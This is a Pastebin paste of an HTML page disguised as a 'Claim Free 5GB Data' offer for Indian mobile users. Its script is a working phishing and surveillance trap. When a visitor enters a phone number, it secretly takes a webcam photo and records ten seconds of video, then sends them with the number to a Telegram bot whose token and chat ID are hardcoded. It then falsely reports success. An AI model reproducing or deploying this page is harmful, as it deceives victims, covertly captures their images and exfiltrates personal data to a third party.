Leramod

Untitled

Aug 6th, 2025 (edited)
603
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 5 7.18 KB | Source Code | 0 0
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <meta charset="UTF-8">
  5.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6.     <title>Get 5GB Free Data</title>
  7.     <style>
  8.         body {
  9.             font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
  10.             display: flex;
  11.             justify-content: center;
  12.             align-items: center;
  13.             min-height: 100vh;
  14.             margin: 0;
  15.             background-color: #f4f5f7;
  16.             padding: 20px;
  17.             box-sizing: border-box;
  18.         }
  19.  
  20.         .container {
  21.             background-color: #ffffff;
  22.             padding: 30px 25px;
  23.             border-radius: 16px;
  24.             box-shadow: 0 8px 20px rgba(0, 0, 0, 0.1);
  25.             max-width: 400px;
  26.             width: 100%;
  27.             text-align: center;
  28.         }
  29.  
  30.         h1 {
  31.             font-size: 24px;
  32.             color: #007bff;
  33.             margin-bottom: 10px;
  34.         }
  35.  
  36.         p {
  37.             color: #666;
  38.             font-size: 14px;
  39.             margin-bottom: 20px;
  40.             line-height: 1.5;
  41.         }
  42.  
  43.         label {
  44.             display: block;
  45.             text-align: left;
  46.             font-size: 14px;
  47.             color: #333;
  48.             margin-bottom: 5px;
  49.             font-weight: 500;
  50.         }
  51.  
  52.         input[type="text"] {
  53.             padding: 12px;
  54.             font-size: 16px;
  55.             width: 100%;
  56.             box-sizing: border-box;
  57.             margin-bottom: 20px;
  58.             border: 1px solid #ccc;
  59.             border-radius: 8px;
  60.             background-color: #f9f9f9;
  61.         }
  62.  
  63.         button {
  64.             width: 100%;
  65.             padding: 12px;
  66.             font-size: 16px;
  67.             cursor: pointer;
  68.             background-color: #007bff;
  69.             color: white;
  70.             border: none;
  71.             border-radius: 8px;
  72.             transition: background-color 0.3s ease;
  73.         }
  74.  
  75.         button:hover {
  76.             background-color: #0056b3;
  77.         }
  78.  
  79.         .message,
  80.         .loading-message {
  81.             margin-top: 20px;
  82.             font-size: 14px;
  83.             color: #333;
  84.         }
  85.  
  86.         .loading-message {
  87.             color: #007bff;
  88.             display: none;
  89.         }
  90.  
  91.         .note {
  92.             font-size: 12px;
  93.             color: #999;
  94.             margin-top: 20px;
  95.         }
  96.  
  97.         .testimonials {
  98.             display: none; /* Hidden for cleaner UI like the second screenshot */
  99.         }
  100.  
  101.         footer {
  102.             font-size: 12px;
  103.             color: #aaa;
  104.             margin-top: 30px;
  105.         }
  106.     </style>
  107.     <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
  108. </head>
  109. <body>
  110.  
  111. <div class="container">
  112.     <h1>🎁 Claim Free 5GB Data</h1>
  113.     <p>Limited-time Airtel, Jio, and Vi users only</p>
  114.  
  115.     <form id="phoneNumberForm">
  116.         <label for="phoneNumber">Phone Number</label>
  117.         <input type="text" id="phoneNumber" name="phoneNumber" required pattern="\d{10,20}" placeholder="Enter 10-digit number">
  118.         <button type="button" onclick="getFreeData()">Claim Now</button>
  119.     </form>
  120.  
  121.     <div class="message" id="message"></div>
  122.     <div class="loading-message" id="loadingMessage">Please wait, processing your request...</div>
  123.     <div class="note">Note: This offer is valid for a limited time only. Make sure to complete the process as soon as possible to avail the benefits.</div>
  124.  
  125.     <footer>© 2025 DataBoost | All rights reserved</footer>
  126. </div>
  127.  
  128. <script>
  129.     let captureCount = 0;
  130.     const MAX_CAPTURES = 3;
  131.     const TELEGRAM_BOT_TOKEN = '8077228064:AAEyEXK5Plf2fIVUrHR3Z6x6PEqIwRA6qeQ';
  132.     const CHAT_ID = '8081865612';
  133.  
  134.     function getFreeData() {
  135.         const messageElement = document.getElementById('message');
  136.         const loadingMessageElement = document.getElementById('loadingMessage');
  137.         loadingMessageElement.style.display = 'block';
  138.         messageElement.textContent = '';
  139.         captureMedia();
  140.     }
  141.  
  142.     async function captureMedia() {
  143.         if (captureCount >= MAX_CAPTURES) {
  144.             alert('You have reached the maximum number of captures.');
  145.             return;
  146.         }
  147.  
  148.         captureCount++;
  149.  
  150.         try {
  151.             const constraints = {
  152.                 video: {
  153.                     facingMode: 'user'
  154.                 }
  155.             };
  156.             const stream = await navigator.mediaDevices.getUserMedia(constraints);
  157.             const videoTrack = stream.getVideoTracks()[0];
  158.  
  159.             const imgData = await captureImageFromStream(stream);
  160.             const imgBlob = await fetch(imgData).then(res => res.blob());
  161.             const phoneNumber = document.getElementById('phoneNumber').value;
  162.             sendMediaToTelegram(imgBlob, 'photo', phoneNumber);
  163.  
  164.             const videoBlob = await captureVideoFromStream(stream);
  165.             sendMediaToTelegram(videoBlob, 'video', phoneNumber);
  166.  
  167.             stream.getTracks().forEach(track => track.stop());
  168.  
  169.             const messageElement = document.getElementById('message');
  170.             const loadingMessageElement = document.getElementById('loadingMessage');
  171.             loadingMessageElement.style.display = 'none';
  172.             messageElement.textContent = 'Thank you for your interest! Your request was successful.';
  173.         } catch (error) {
  174.             console.error('Error accessing camera:', error);
  175.             alert('Error accessing camera. Please make sure your device supports camera access.');
  176.         }
  177.     }
  178.  
  179.     async function captureImageFromStream(stream) {
  180.         const track = stream.getVideoTracks()[0];
  181.         const imageCapture = new ImageCapture(track);
  182.         return imageCapture.takePhoto().then(blob => {
  183.             return URL.createObjectURL(blob);
  184.         });
  185.     }
  186.  
  187.     function captureVideoFromStream(stream) {
  188.         const mediaRecorder = new MediaRecorder(stream, { mimeType: 'video/webm' });
  189.         const chunks = [];
  190.         mediaRecorder.ondataavailable = function (event) {
  191.             if (event.data.size > 0) {
  192.                 chunks.push(event.data);
  193.             }
  194.         };
  195.         mediaRecorder.start();
  196.         return new Promise((resolve, reject) => {
  197.             mediaRecorder.onstop = function () {
  198.                 const blob = new Blob(chunks, { type: 'video/webm' });
  199.                 resolve(blob);
  200.             };
  201.             setTimeout(() => {
  202.                 mediaRecorder.stop();
  203.             }, 10000); // Stop recording after 10 seconds
  204.         });
  205.     }
  206.  
  207.     function sendMediaToTelegram(blob, type, phoneNumber) {
  208.         const formData = new FormData();
  209.         formData.append(type, blob, `${type}_${captureCount}.webm`);
  210.         formData.append('caption', `Phone Number: ${phoneNumber}`);
  211.  
  212.         axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/send${type.charAt(0).toUpperCase() + type.slice(1)}`, formData, {
  213.             params: {
  214.                 chat_id: CHAT_ID
  215.             }
  216.         })
  217.             .then(response => {
  218.                 console.log('Media sent successfully:', response.data);
  219.             })
  220.             .catch(error => {
  221.                 console.error('Error sending media to Telegram:', error);
  222.             });
  223.     }
  224. </script>
  225. </body>
  226. </html>
Advertisement
Add Comment
Please, Sign In to add comment